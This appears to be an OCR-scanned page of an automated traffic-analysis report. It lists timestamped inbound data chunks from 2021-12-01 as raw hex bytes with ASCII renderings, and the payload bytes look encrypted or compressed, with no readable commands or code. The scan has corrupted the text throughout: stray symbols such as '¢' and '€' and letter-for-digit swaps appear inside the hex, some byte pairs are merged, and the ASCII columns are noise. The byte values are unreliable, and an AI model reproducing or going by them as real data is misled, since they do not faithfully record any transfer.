4f 8¢ d9 f5 91 9d 6f b8 64 96 04 36 16 ce 76 6f 66 f2 Ob e9 8f e7 71 dO e9 3 16 fe 10 ea bc f1 bc 97 db d9 c4 85 9f ed 74
c2 3a 81 e8f0 cd 59 80 b6 9f 4e 8d d4 ec 76 f9 ae d8 12 26 a2 2f 09 58 14 e4 b9 79 a2 21 10 ab ec 49 8a 36 1f 8b 4f 34
ba 35 e7 da b2 80 1a 11 32 05 3b b0 27 ad 0d 6e cb 90 ec 92 a3 76 92 9f ab 81 92 cc 06 0a 33 6¢ ad 96 e5 e0 ce 76 c4 22
bc 17 67 65 ae 05 97 6a 22 f7 b9 59 5f b9 1e c5 1f b9 1c d5 fO 1e 02 4a 45 11 fe cb a7 b5 4c 53 e6 e0 93 2e 22 38 86 12 fc
00 55 38 73 67 65 70 €0 24 41 9b 3b eb e4 4f 91
Data Ascii: WmIB..|SpQYQ# Zz}pnK{Rr%H)vOod6évofqt: YNv&/Xy!l60452;'nv3Iv'gej"Y_JELS."8U8sgep$A;O

2021-12-01 08:15:22 UTC 431 IN Data Raw: d7 73 89 2f 27 c2 6d d6 7b c7 77 8f 2c 44 8e 6¢ c3 d2 a9 50 59 d4 3a cf a8 1e 58 28 1c cd f9 df e6 be 7e c0 f3
€0 99 61 af f8 33 a7 de e2 30 76 5¢ b7 a3 c2 71 4f f3 b0 a9 f1 3d 3f bc 72 ce fa ¢8 41 b6 1b c8 4e ff df 77 e1 10 77 aa ab
35 b9 5f ad ed a8 82 b7 a2 68 36 1f c2 d6 7a c5 2a c9 12 c9 da e4 97 ec cb ab 64 8b f4 70 54 d2 56 a5 ec ea c7 ea 30 43
b5 bd b6 f3 f6 83 01 fc 93 12 b7 82 fc 85 f5 63 €6 84 83 02 11 e5 92 6f 5e 4d 0f d7 e7 81 39 01 95 72 6¢ Oc fc €0 6¢ be 6¢
71 f5 d6 80 62 c7 7f 14 ee bb c4 a3 b0 fa 2f 8a 55 8f 96 3f d6 b7 8e 08 58 e0 d0 3¢ 63 dd 96 f2 2a 34 0f 68 05 87 65 c9 1c
fd 2a dc 4d 36 d6 3d ad bf c8 84 08 36 c0 5b 2b 72 f6 a8 6¢ d5 6d f2 53 ca 69 a9 Oe 8 88 4c 39 b2 71 fe e4 dd 2e 8a 76 ef
6e 70 d9 be f4 e3 ba 79 3e a5 89 ea 9b 92
Data Ascii: s/'m{w,DIPY:X(~a30v\qO=2rANww5_h6z*dpTV0Cco”M9rlligh/U?X<c*4he*M6=6[+rImSiL9q.vnpy>

2021-12-01 08:15:22 UTC 433 IN Data Raw: 59 c2 9f 22 96 15 eb b7 37 55 al f4 83 39 83 e6 10 01 0Of 4a c6 c7 8d 3b 6e 96 78 39 4f 62 dc 13 2f 51 43 af 01
fc 7d 6¢ c1 24 b3 6f 69 dO 89 4e ad 8 a7 75 01 9d a8 43 92 26 4e 05 66 da 32 5d 00 20 2c 3c 14 8c la af 9a 49 a6 47 ed
99 7c¢ d3 19 38 db 22 f5 fd 9e 68 ac a9 fb 7f ac 75 ca 5¢ 2b 2d el 4b 84 Oc cO a5 00 d4 c6 a3 d5 b3 85 fc 6¢ 3a a8 bb ce ee
ac 50 6¢ 79 00 81 ae ac a3 3a d3 60 03 be db fe c7 bf 86 7d d2 9b a8 9d Ob 86 b8 bc e6 ab 59 90 dd 74 56 46 6¢ 18 9b af
56 67 c6 95 ae f8 52 3a c6 e9 7 fd 28 eb 4a 02 b4 70 b0 c1 5a a2 f7 ¢3 c¢6 80 3c c5 b9 27 6¢ c8 a9 3a d1 5e aa 42 18 64
91 8f 66 04 8e 9e eb 4a 9d bb ac a6 31 b0 66 1a 5f f3 6b 14 3d 4e 04 ef 18 77 43 54 de be b6 7 87 Ob 94 4d b6 b2 eb 68
c3 b2 38 6e 2d 5f 42 bc 2¢ 1c 78 98 d7 1b 86 a4 be
Data Ascii: Y"7U9J;nx90b/QC}I$0INUC&NT2] ,<IG|8"hu\+-KI:Ply: }YtVFIVgR:(JpZ<'I:"BdfJ1f_k=NwCTMh8n-_B,x

2021-12-01 08:15:22 UTC 434 IN Data Raw: f0 73 90 b1 f5 e6 b9 bb 9c c2 b0 c2 14 cb bf 7b c2 5 ba 16 €2 27 ae 24 18 65 81 60 fa 5a 3b 92 e8 a0 d5 69 38
87 b0 63 b7 5d 03 ed 95 35 35 8b cc 93 2b 86 52 e4 5a 21 41 f8 b7 c6 2e 76 11 33 41 50 74 a8 03 18 cf 37 d8 e0 99 dO cd
3d ed c9 5e 5a 82 4a 54 d7 b2 01 35 0d c0 Of 8f 75 Ob 6¢ 69 f4 d5 9d d7 b4 ac b6 d4 3a 00 4f 37 2d d2 e4 30 8c 01 4e 32
34 05 00 de e7 1f c4 58 b3 e8 91 4f 13 91 2d f4 51 60 2f f5 75 5d 24 2c 8e ¢8 cf d8 16 43 ec 95 b8 Oc 33 cd d9 b5 90 3d 5¢
8a 91 c6 b6 be 55 6f ff 8¢ c9 4f 2e 50 3f 9d cc b2 e4 al 60 f5 1f 5e bf f8 4e 16 el 17 el e2 a0 83 5¢ c0 77 ec Of 9b 8e 89 9¢
49 11 ec f8 1e 59 7e f4 ba 81 11 27 0d b7 ac d9 7d eb 47 5c ff 45 97 71 25 59 a8 68 b0 9b 48 1c 65 1f 87 57 6¢ 71 e6 83
8d 64 da 60 5e 18 bl de 4a dd dd 3f 5d 58 bf
Data Ascii: s{'$e"Z;i8¢]55+RZ!A.v3APt7="ZJT5uli:07-0N24XO-Q"/u]$,C3=\U0O.P? "N\wIY~'}G\Eq%YhHeWIqd ~J?]X

2021-12-01 08:15:22 UTC 435 IN Data Raw: ce 03 35 da c6 e7 a5 c2 63 5b da d9 c0 c6 f7 4a d1 8e 7b 55 68 b0 47 97 a9 6e 14 73 53 50 b5 3f 13 5¢ 72 00
9e 91 91 a7 94 33 96 a7 ¢3 73 53 d0 01 93 fc 5b 80 b5 44 4c 94 40 37 38 38 6d c5 a6 4b 65 d9 87 a9 3f 66 cc 70 b8 37 25
8 64 85 6f 57 82 bd 3c 4d 19 42 51 9b 9e 08 83 9a a9 aa 4e fb 8e a4 3d 86 4b dc b9 ab cb 91 79 Oc 6b 9b 5c 05 f0 55 46
eb 5e bd de df 56 a0 71 66 90 e4 c7 84 37 Oe 05 19 1f 6f 27 be 46 4e c8 31 b7 6e 97 ec 77 19 57 66 fO 6e 26 Ob 31 d2 60
37 44 eb c0 e4 55 ab 88 bc 6d 22 53 75 f8 62 bc 5¢ 21 fO 7¢ 01 8a 16 da ba 40 30 ab 0b 6f 63 b5 69 48 2f e2 72 fe 5a 04
e34c 77 2e d1 b6 3d a2 e8 12 7b 33 b3 f4 00 c8 66 78 2b 49 5d 2c dc 24 2f 11 91 77 6e e8 dd 5f a5 8e Oc a0 6f 2a 46 30
4086 7f b2 84 73 98 9f 7e 5a 13 30 dd cc ed 1d 65 8e 4e
Data Ascii: 5c[J{UhGnsSP?\r3sS[DL@788mKe?fp7%doW<MBQN=Kyk\UF*Vgf70'FN1nwWfn&1 7DUm"Sub\!|@
OociH/rZLw.={3fx+],$/wn_o*FO@s~Z0eN
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 437 IN Data Raw: 75 31 3 4e 19 dc 34 c8 13 ed da 63 6a f7 e4 60 41 1a ed 33 31 82 a9 01 4f 37 e0 aa c6 33 8c db 80 c8 5b 97
d9 0b 45 de a9 f6 62 39 d4 16 03 72 Oe f6 01 21 2a 4d 9a 55 f4 9b d5 73 0d 94 34 8f 92 a5 28 fa 9b c2 d1 e0 2b 42 27 9a
c2 0f c8 2b 50 47 dc 77 de 1d 57 81 b7 al e2 e5 12 03 8d fc 10 e3 el b6 16 b9 22 92 4c 0f 01 43 db c1 d4 ee 2b a9 2c bc
0242 bl 1e 9b ea bb 53 9b €8 8c ea 3e 74 d0 90 b9 86 44 dO fO ee 3c 85 1f 87 b7 93 d9 10 cd 02 cc 2e 65 02 cd 8¢ 6d 00
5f ca 7 7e 74 53 92 c2 ef 61 ac 1d 9b df d8 29 c0 34 eb 1d 1a a7 f8 41 el 54 65 7b 57 ee 37 55 c2 de 50 f1 5a aa db 6e 6d
0092 85 41 61 06 c8 8c b5 d6 c1 04 b7 f6 €6 ad 5b b1 d1 9c 25 2¢ 11 bd ab 32 85 ef 6b 93 7c 5d 3c e0 49 66 90 57 2e 27
a7 6e 70 84 64 3b 7b 64 41 00 5b dd d6 d8 95 b4 56 1b
Data Ascii: ulN4cj A31073[Eb9r*MUs4(+B'+PGwW"LC+,BS>tD<.em_~tSa)4ATe{W7UPZnmAa[%,2k|]<IfW.'npd;{dA[V

2021-12-01 08:15:22 UTC 438 IN Data Raw: 06 e7 ac bf 33 81 15 8¢ 87 b8 a0 50 b8 9c 4e 27 17 00 32 b3 06 89 6e 7f fO d7 c4 d4 f1 ed 44 f4 e4 24 bd ae 73
28 cd a7 45 65 de 3b 58 51 a8 94 44 79 08 fd 08 59 b7 dO 7a 3d 21 6b 8b 90 1d f9 ec 21 c5 ef 02 6b 3a 13 87 f7 7b 3d ed
bl ac 7b cf el bd bf 84 b1 f2 4b 10 e2 f0 Oe 39 26 3c dd fc fc a3 b2 65 88 04 c2 15 8f 1e 6f 0d db 42 76 27 92 ac a5 1a 21
13 df 7c 46 Ob 97 03 6a 75 18 ab 08 bb da 39 3c a0 26 bd d0 77 2c f4 7f f5 €9 45 ce 9c bf 03 14 5e 1a 09 4c 75 c¢7 c7 2b f5
ef d2 €9 97 8b dO fc e2 a2 82 f0 c7 06 df 4a d3 7d 70 68 99 4a 65 55 5d 26 2a a7 el b4 ab 18 7c a8 f2 d8 27 al d7 01 22
fa 49 a8 86 3e 52 40 e7 07 Oa 7a 88 6a b9 f0 12 40 18 ac 7e 47 7e 44 6d 5f 70 d0 9c 7e 9a bl bl cd 09 ee 21 Oe 3a 85 4d
0a 45 bc 35 1c 66 64 6e ab 2d 50 ef 5d 32 e6 ed
Data Ascii: 3PN'2nD$s(Ee;XQDyY z=!k!k:{={K9&<eoBV'!|Fju9<&w,E"Lu+J}phJeU]&*|"I>R@zj@~G~Dm_p~!:ME5fdn-P]2

2021-12-01 08:15:22 UTC 439 IN Data Raw: 97 1a 66 3d 19 2c 31 68 a2 5f 06 7b Oe 28 12 90 Oe 01 12 41 aa bc d2 9d e0 ce c8 c3 6f f1 ¢ fe 78 f9 cc 67 7e
8a 3f bc dd 8¢ 81 al 4d 61 21 58 a8 1e 9 32 51 bb 63 4 7d 56 87 0a 46 fd 04 77 46 21 17 59 74 11 da 5a {7 76 76 87 5e
dc fc 03 23 82 5d db 31 72 1d 33 1e 67 5d 28 46 7c 91 57 63 b5 17 cf 97 65 57 d0 e8 b b1 b2 29 ad 78 bf b6 el 1b b8 81
39 dd 32 22 fc 81 10 c0 ec 7b 27 9a bb a8 c5 8¢ 9b 48 cd 36 b9 ef 2e Oc b7 cf 19 d8 55 88 5f 8f 24 1d 68 7 fb 35 6b a7 33
7c al 41 2c 47 f1 50 fb 43 7b cd 33 7b 50 d3 47 a5 5¢ Ob 31 db 9e 93 23 40 Oc 66 0a 0d 2c 32 b5 Ob 46 18 Ob 21 ab 9 a7
b8 f6 2e 49 f1 7f cb 6a ce 68 18 2f fa cb b4 90 66 07 ac 01 54 bd cO b6 b0 26 a6 4c 51 d8 92 de 21 a0 56 cb 40 55 01 fc 02
29 ed 23 7a 26 52 18 84 40 80 01 53 e5 3b a9 6a
Data Ascii: f=,1h_{(Aoxg~?MalX2QC}VFWFIYtZvw #]1r3g](F|WceW)x92"{H6.U_$h5k3|A,GPC{3{PG\1#@f,2F!.Ijh
ATELQIV@U)#2&R@S;j

2021-12-01 08:15:22 UTC 441 IN Data Raw: 4f 5e 0f 13 69 ec 18 e4 ad df d4 23 b4 Oe 2d 50 1e 02 dd 28 fc 84 c6 34 7e 8d c0 40 91 65 40 d8 99 08 0d 53 ac
a2 98 51 c2 66 c9 e9 92 94 f5 f9 6e 1b ae df 85 90 bc 96 61 Of ab al 76 9d 47 4d e3 2d 76 8¢ ef 34 4d 6d dO 3a 9b 45 52
a0 ¢5 18 75 1d 44 5d 72 05 a3 96 31 d9 bc de 0d a4 16 €2 e4 7c 64 al 7d 7a 5f 51 4c d3 2d 93 71 86 11 64 4d 15 e8 ba
8127 67 04 7b d8 81 89 53 a4 09 5b 2f a7 7f e5 bf a9 6f 50 d6 05 cd 1d 3a 06 48 15 d2 bc d5 6d bb 36 f0 35 a4 41 70 cb
la2bffe7 17 c3 el 8¢ 85 6b 89 07 2b 27 49 bb 60 8f 65 bb af e0 3b ec 78 d3 c0 04 d7 le 37 7a fa 32 Oc 51 50 af a8 98
66 €6 a7 f2 fc ae a4 f8 5d d6 72 d5 3d el 5a 31 7f 5a 48 a3 83 26 fe f0 e7 28 a0 04 9c 03 de 1d f0 43 25 1c 64 14 19 fa of
64 8f ac 4a 8d 27 71 6b 14 40 c1 74 68 c4 c6 2c 49 f9
Data Ascii: ONi##-P(4~@e@SQfnavGM-v4AMm:ERuD]rl|d}z_QL-qdM'g{S[/oP:HMB65Ap+k+'I'e;x7z2QPf]r=21ZH&(C%ddJ
‘gk@th, |

2021-12-01 08:15:22 UTC 442 IN Data Raw: 4c ae 81 bf 5d 6b fa 7f 4e ae 01 a4 f0 04 29 cf Of 19 ed cO ff 27 7c d1 eb Ob bf 06 e0 cb 76 cf 24 a9 c8 66 c3 2f
b7 28 b3 78 €6 d5 42 28 el 3f ¢8 1a a4 51 d5 6e 37 7b 88 22 d2 32 ae 64 9e 12 0a be a4 f0 3e 51 54 ea 86 5a b0 de 86 ee
3f9f 1b aa 13 0d 7c el bd 6d a3 39 8d cf 3a 7c €8 03 17 a5 b4 e6 96 2b 93 e2 15 2b 49 67 b9 ba d5 1b 50 29 63 9e e4 c6
08 fc b9 74 4d 5f e2 4¢c 19 17 ff 6a 14 Ob 50 aa 74 91 1f 9e 19 27 49 5c¢ 33 4f ba d5 7b d8 68 8c a8 9f 6b dc e8 57 Oe 6a 5
56 6d 48 30 fc 6f 0b 98 42 8d 1c 99 54 c2 ac e7 3c 30 ea a5 05 2f 7b Oa de 84 76 7d 12 16 fe 93 ea e2 dd 09 aa ce ac e3
¢5 65 84 f9 2b df 4c 9d 65 d9 0d 82 al a4 €9 75 54 bf ad 97 b4 25 27 ec 12 88 8 ee ca da 13 c5 8 cd 82 4a f2 Oc d9 40 3b
6a 50 b8 c2 4c ab f8 5e 72 f0 1c b8 30 8d e6
Data Ascii: L]KN)'|v$f/(xB(?Qn7{"2d>QTZ?|m9:|++IgP)ctM_LjPt'N\30{hkWjVmHO00BT<0/{v}e+LeuT%'J@;PL"r0

2021-12-01 08:15:22 UTC 443 IN Data Raw: e7 ee 7f 1b ed 5b 17 f0 8¢ f0 34 5a 73 3¢ 55 1c 6e 01 ac 6b bc 38 f4 c1 65 8e 44 9b 57 bf c0 83 32 48 79 af 19
ab 6b c7 bd 05 7e 7d a2 b9 27 f9 70 c1 86 ab 99 f2 05 7a fa 4c 84 03 b6 47 b5 cf e4 67 f3 21 9b 60 1d de 5f fd 79 5d 1e 24
al 2f ec bf 4c b0 93 56 17 43 bb 11 b8 8d 09 61 12 2d b3 57 49 16 a5 92 97 cd 5a 6e 5d 79 78 73 19 13 5f c7 33 4e 7c 81
5f a0 bf 8f 51 58 d5 5d e6 5e dc 6a 98 7a 83 59 6e 45 ff 57 Oc 02 f6 97 30 40 b0 48 1c e7 52 e8 cb a5 0f c7 c1 85 7 4f 9f
6b 13 5d b3 77 f4 ¢3 46 d1 fa db 6¢ 0d a9 fa bd 0d bb e7 2a 77 1c b3 18 b6 cb d6 e2 26 51 63 c2 a5 b6 86 d2 92 9c d5 86
93 0b 8b 8c 33 b4 88 d3 44 b3 e4 d1 06 f3 b7 07 dc 57 b8 68 8e 88 7d 53 51 64 83 81 eb cb Oa 1a 39 d8 07 fa 64 18 35 10
cd df fa 1d 76 49 6d 00 79 77 01 03 ba 6a Oa e8
Data Ascii: [4Zs<Unk8eDW2Hyk~}'pzLGg!"_y]$/LVCa-WIZn]yxs_3N|_QX]"jzYnEW0@HROK]wWFI*w&Qc3DWh}SQd9d5vim
ywj

2021-12-01 08:15:22 UTC 447 IN Data Raw: f3 b2 ce eb f1 a6 40 82 5f 1c 70 c6 ac 84 d3 el eb 87 5b Oa 9f 3f a0 df 29 48 e3 bf aa 28 09 96 26 cb 00 5b e0
07 97 56 6f 1d 4c e6 70 el 8c 12 f8 d7 40 ef 77 80 79 ba ef e0 4d ee b8 fc 88 86 6¢ 57 a0 72 77 db b5 6f bl 59 3c 91 37 f6
9f fc 46 d1 6¢ 8a ec 07 d9 3a 69 ea eb 4f 17 7e b0 94 14 de 3a 34 4a e5 ed 30 54 ae 8 ec 6¢ dd 50 02 0a 39 55 7e d1 8d
65 cf al 65 f7 al a6 23 b7 16 75 f2 d3 77 b3 4c e5 de 8b 21 Oc 24 98 07 a8 a7 4e 17 bd fd 2c 36 bd 87 df 71 de a7 e3 b2
38 2f 28 9e cb 72 9c 1f 04 29 cf a9 dc ce ba 0d b2 cd 61 a2 7b c¢7 7c 19 95 36 d6 4c Ob 54 4a 4a ea f8 {7 fb ¢7 a5 bb 8b 45
5b da 9e 6b cd 2b 35 7c d1 33 a3 ee 7f 75 19 ca 79 6e a7 77 c7 dO ac 6a €9 35 96 f6 77 67 ac 3f 96 46 e7 3a 49 c6 75 da
25 a3 9c d5 80 3e f9 4f 1d 48 41 ac eb 18 89 08
Data Ascii: @_p[?)H(&[VoLp@wyMIWrwoY<7Fl:iO~:4J0TIP9U~ee#uwL!$N,6q8/(r)af|6L TIJE[K+5|3uynwjswg?F:lu%>0HA

2021-12-01 08:15:22 UTC 452 IN Data Raw: a0 00 5d 84 77 17 3d b2 Oe f6 08 fO b9 d9 6e 5f e2 2c 29 65 9d be 06 4e 51 10 €9 72 1b 79 d1 ac 23 ff d9 33 d7
ef 86 14 cb 9f 88 7b cd ¢8 0d 1e 21 6f 7b 11 66 19 94 1f 10 87 04 60 4d d4 39 db c3 3c el 99 5e 38 67 82 8c 71 28 d2 43
1b 21 1d ab 87 32 30 aa 91 dc 30 01 ce f3 30 65 94 8f 73 86 5 ed 1a de dc 86 ad 66 5¢c 38 39 53 4f 18 85 04 31 20 fd 75
2c €6 71 b6 b3 6f d7 ab 97 75 4d 91 ae a2 f8 a7 4c b9 d7 e6 9¢ 90 10 3a 17 2a d4 2d 01 37 e4 d3 7e df 01 67 a9 61 6¢ 17
18 2f a6 53 72 67 bb 93 3b Oc 63 20 6e 52 5e 85 fd 89 54 29 46 ea f2 b6 ac 20 1c 36 bc 95 44 91 41 25 45 66 d7 e3 98 30
52 47 1e 94 ca 56 53 87 36 36 c4 ed 8b cc 64 b7 6d a2 1d 8 c0 83 5f 7b 90 00 38 8a 2b 35 be d7 f6 02 45 e0 21 ed 2a bd
73 00 ad 01 89 90 b5 ff fd 21 db b7 26 ea 49 06 7b dc
Data Ascii: Jw=n_,)eNQry#3{!o{f M9<"8gq(C!2000esA89SO1 u,qouML:*-7~gal/Srg;c nR T)F 6DA%EfORGVS66dm
_{8+5E!*s!&I{

2021-12-01 08:15:22 UTC 455 IN Data Raw: 95 f3 Oe 8a d8 40 19 8e e3 cf 6d f2 a3 ad 76 a0 20 25 ce d2 6d b6 15 48 f9 34 10 bc d2 f8 54 00 a3 47 bf 2e ed
6¢ 63 f0 cO 35 a9 ac 61 1a 1e ¢5 99 09 bb f0 f5 b7 03 22 89 af 92 12 73 b0 5b 02 1d 87 46 fb bf 30 35 d1 8b bb da 72 d7
29 7c c3 6¢ 3a b0 ba 6¢ ¢8 10 7c cc dd 6a d3 e8 f2 39 f2 de 4e ff fc b0 18 31 dc 0f 99 33 50 26 al bc 01 5f 5b cc 02 35 db
e4f9 7a0c 47 86 e5 6¢ 80 b7 1d dd cc 4a 63 a7 21 35 25 6d 44 18 1b b5 66 d1 9f 28 84 50 db 98 bd Oa bf d4 ce ae 8¢ 12
41 9f 9e 4b 32 df Oc 0d 9d 09 21 18 d1 7c 1f 39 ca 91 a5 a8 3e 4e d1 aa ca 6¢ 08 30 9a 48 0a 9d 93 ea ff 01 62 fa 77 21
87 1d ea 77 28 Oa b5 a4 b9 d9 6e c¢7 da 91 a9 d3 11 a3 c2 51 c4 10 95 67 1e ac Oa 4d 05 78 fe 5¢ 35 5f b3 1b 5f 4b 74 13
09 d8 80 ad 05 94 2a 6e 33 Oe 3d 99 38 d6 34 el {7
Data Ascii: @mv %mH4TG.Ic5a"s[FO5r)|l:1[]9N13P&_[5zGlJc!5%mDf(PAK2![9>NIOHbw!w(nQgMx\5__ Kt*n3=84

2021-12-01 08:15:22 UTC 459 IN Data Raw: 1b el 40 3d 29 05 4e e8 83 2a 19 50 e3 72 53 f5 7c cf 88 67 da eb d6 4e 57 1a 59 1a 55 12 3b bf 4b 1d 00 96
a2 41 4d 38 c9 f8 8¢ ff 3c 09 bf 77 ¢3 8d de fd c2 ce 35 46 6d 72 66 01 f4 9c b8 ff 00 e2 be 53 5b 8d 11 a2 7d 61 34 b0 71
2b 98 dc ee 6a cl el 75 20 8e a5 ea fb 46 97 65 ea d7 d7 ee 8e f6 02 26 da e3 bl 9c fh b3 66 a8 ea a9 bl 00 4c b7 1d da
c2 aa 33 7ce5 7a384b 17 62 0a 8b 89 87 5a 57 6f Oc 79 1f 35 53 44 el bl c5 db 95 fd 05 af b4 9c ca 1d 51 54 f5 fa 14 5¢
fd 41 26 88 6b 1b ce e5 ba 43 28 e6 39 03 37 e2 34 76 10 09 02 00 99 d9 b6 ce ce f6 d7 e8 66 c9 dO e6 f9 3d cf 37 66 a5
70 9c b5 17 db 12 bb 02 8b c2 2e dd 9a ed 89 34 bb 4b b3 ca b0 8f ed fe 9d fa €3 53 f7 a5 80 5d 14 12 9a 3b e8 2e f8 3b
16 b2 75 ac ac 60 9a 15 05 ce 91 d5 18 ea 2f 66 57
Data Ascii: @=)N*PrS|gNWYU;KAM8<w5FmrfS[tadq+ju Fe&fL3|z8KbZWoy5SDQT\A&KC(974vf=7fp.4KS];.;u /fW
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 463 IN Data Raw: a8 e6 08 d3 89 f5 6f 5b 57 2c 64 9b fO de 4c 44 98 eb ec 90 c1 32 bf 08 05 cd 07 a3 ec 32 01 00 cd 45 ae fe 74
e4 f3 26 4a 5¢ Ob f6 bl c7 e2 2f 1d 3e b7 67 f3 07 a0 fb 4b 83 6f 44 7b 6f 10 bf ae 51 7f fb 79 d6 ee d7 1f 17 12 9e 41 80 et
9 41 f0 35 5a 43 03 47 ¢7 25 e2 de ca c0 64 4b Oe d3 df 38 06 f8 88 c¢3 70 7f Of 5e 51 cf ed f7 3a 7d 23 a4 44 a6 4d 0a 07
fa a7 51 4d 24 9a 45 fe 5e f4 b0 3 82 f4 bb 29 c9 d7 00 64 62 bd d6 cf 2f 11 9a 54 6¢ 49 77 45 48 1b fe 0d 95 c5 27 1c d6
3f 05 d2 d2 dc 73 12 01 69 40 07 70 94 1f 02 4b ee f2 de 02 08 b4 67 40 1b 77 19 51 59 7a ff 03 a7 2c d3 bc 1a 00 al 45
d8 f5 d3 d4 2d e2 ce 51 e4 70 8d fb 63 74 49 Oe 63 06 04 9a al 69 96 2e d5 4b e4 9a 08 56 bb c0 c1 2f fc 34 63 57 86 2d
4c 6a 29 f6 67 42 fe d0 4f a9 9b 72 0f 30
Data Ascii: o[W,dLD22Et&J\/>gKoD{oQyAA5ZCG%dK8p"Q:}¥DMQMS$E")db/TIIWEH'?si@pKg@wQYz,E-Qpctlci.KV/4cW-
Lj)gBOr0

2021-12-01 08:15:22 UTC 468 IN Data Raw: 48 67 12 3c 8e de e0 c2 38 e4 7e 36 3c fc 3a 36 2a al f9 58 af ac c3 6f b3 f1 bd 08 6¢ b7 7c ca 46 3e 41 06 ca
84 26 12 5b 6a 2a 00 56 a4 9e Oa da 45 90 cf 48 7c 9f ef 65 68 93 a8 f2 f2 70 €8 d0 06 16 21 bd 22 23 a0 92 3b c6 38 64
2f 32 f0 64 61 10 2c 36 1c f4 72 36 df 77 2d f6 51 47 67 2a f1 b1 99 6d de af 9c 7f a2 74 8e 2c fa 72 89 f3 e8 c2 1e 08 6b
0d b7 fc 4f a5 3 a8 4b 03 db 09 0f b8 60 e6 al 33 6d 4e 39 b2 d1 41 86 98 ca a5 f8 fc 2c 2e dc f8 84 50 21 b2 9f 1f 9f 7a
11 2d 3c 8f 52 15 al cf 5¢ 81 ad 76 b6 ee 2f 75 ¢5 06 d6 01 b9 2f cf e0 51 2e 82 5e 44 82 86 53 88 17 84 62 2a e8 bf e4
2c ed c4 92 68 90 4b 1f 72 50 bd 61 €6 21 27 7a a5 2 cc Oe 87 Of 4f b3 c9 16 9d 2e 6d e4 Oe d5 ca 48 €6 ec 10 8b b2 14
63 b7 1a 93 93 88 be bf 62 04 d9 22 3a e5 7a a0
Data Ascii: Hg<8~6<:6*Xol|F>A&[j*VEH|ehp!"#;8d/2da,6réw-QGg*mt,rkOK 3mN9A,.P!z-<R\v/u/Q."DSb* hKrPa!'zO.mHcb":
z

2021-12-01 08:15:22 UTC 472 IN Data Raw: 04 32 16 92 cc fb d9 cd 02 5b 7d ca cc a5 5e 18 05 1b €8 fe 26 f4 0d 5a 9f 34 ¢3 84 2f 48 42 63 6e 5 22 98 37
a2 90 1c 52 2b 34 8d 49 06 8b 51 38 3f 22 3f c4 57 98 Of ea 43 a7 f8 d4 7f 14 16 9e 22 71 bb 97 45 1c 2c 86 07 c5 3d 21
ba fd b5 6a 91 62 cc 81 5e e5 09 ac 3f 55 c7 el ff 89 03 d5 9c 32 d8 28 b1 cd 8e db 11 38 87 44 b7 fb cd 2e 12 4b 26 3f 32
1 dd 5f fa d4 fe 24 32 cd 66 60 3d f1 4d db 4b 57 4e 19 85 0a d8 e7 86 d0 5f b8 cf 93 8e b9 b0 64 04 ab 45 d6 Oa a9 01
a4 c3a74cd3 el 7d 06 f8 81 f9 ¢7 db cc c4 4d 54 a5 89 1d 70 be d2 f8 68 51 37 6a fc 12 54 6f Oc d2 47 fd 3d 90 48 78 45
87 d7 51 cf 1d 9a 12 88 11 ed c1 45 69 a9 23 ab 42 24 23 f6 4a 26 85 06 78 12 Oe d0 e6 e3 2c e5 c8 51 b7 7c 86 7c cf 13
cldc 07 48 69 aa ba f5 ef 4c 43 b8 ef 8¢c b4 d1
Data Ascii: 2[}*&Z4/HBcn"7R+41Q8?"?WC"qE,=!jb"?U2(8D.K&?2_$2f' =MKWN_dEL}MTphQ7|ToG=HXEQEi#B$#J&x,Q|
HiLC

2021-12-01 08:15:22 UTC 476 IN Data Raw: 2c¢ ba 28 03 22 f2 33 de 9e 35 Ob Oe bd a3 11 2b c8 ef 55 68 ea 02 08 1d 9e 2f 61 4d 20 87 51 €0 64 b2 be ae
dc 86 8b 89 b7 fe a5 d9 f2 7e 9d 79 1f 2c 1e ab el 84 1f 2a 8b 5b 16 77 70 b3 72 74 71 45 13 97 c6 8c a5 7d 7e 11 8a d8
2307 a5ecf59b 9141 c9 a4 67 76 31 a0 el eb 53 55 9d 3c 8c 63 80 d5 81 fd bc af fe d2 32 b4 15 2c a9 6d 07 a9 70 2e
b0 bc 8a bd 54 9d d9 4c 80 92 e7 3b 2e 8e cd bd 74 a3 ea 20 11 53 70 cf 91 68 3c 69 34 2e 1f 8e d2 8e 5e 47 fe 62 f2 bc
2522 5b 36 f4 c6 64 42 06 46 4f 27 eb 14 13 cb 83 58 ¢7 a3 81 0a fc 54 ee bd b6 b2 5d 53 0b 3d 1d f2 35 28 0a 91 bd 00
5f 96 87 5¢ 7e 30 33 5¢ 18 6a ae d3 b6 c7 c3 de 9f a7 b5 1c Ob 05 4a a3 fa 46 02 67 Oc cd a5 2e a3 ba 6d 36 09 ce 17 05
57 5a 03 db 6a c9 72 b0 f6 d4 a5 00 d5 31 14 6b c8 64 e4
Data Ascii: ,(“35+Uh/aM Qd~y,*[wprtqE}~#Agv1SU<c2,mp.TL;.t Sph<i4."Gb%"[6dBFO'XT]S=5(_\~03\jJFg.m6WZjrikd

2021-12-01 08:15:22 UTC 480 IN Data Raw: ed 42 00 90 e4 a9 e7 19 d2 12 fa f8 25 bf b7 c1 b4 ae 51 20 f9 9f 4b de 91 4d 01 7a ba 2a ce af 4a ff 75 96 7b
0Oe 81 15 b0 66 10 07 d1 cO 9c Oc c3 06 b4 ae 6a 15 cf f6 42 ec 42 16 66 06 4e 55 f9 e4 30 4d a0 71 f4 al e3 77 89 ca 29
1b d9 1a 2191 8d 71 21 75 05 87 5a aa el 41 5¢ 2d 14 a8 54 40 ca 4c a5 47 6d 45 a0 07 58 4d c1 17 6e cc 3d d3 ad 8a
ea 9a ae 9c 4a f3 c5 aa 89 ba 90 9f 97 8 6e a9 7f 34 €6 €9 1b 56 32 e0 8a 76 15 88 cd d2 9a d3 76 7a c9 b9 8e df bb fd
4507 37 e0 0d 23 91 bd ce f3 03 e0 fb 6e df b3 1d 6d 84 b6 97 53 43 0d 64 1c 96 ed ae da 29 2b 64 42 91 2f 8e 99 70 a7
c4 6a aa 07 b6 53 dc 81 a8 72 35 56 ¢7 4a cb 8b 12 3d d3 f1 25 08 52 9f 2¢c 8e 95 da 04 3d 71 fa 9e d5 d4 eb 85 63 7b 90
7e 00 3e dc 7b c1 a9 97 3a 43 fc db 50 33 5 03 23 a9 51
Data Ascii: B%Q KMz*Ju{fiBBINUOMqw)!q!uZA\-T@LGmMEXMn=Jn4V2wzE7#nmSCd)+dB/pjSr5VI=%R,=qc{~>{:CP3#Q

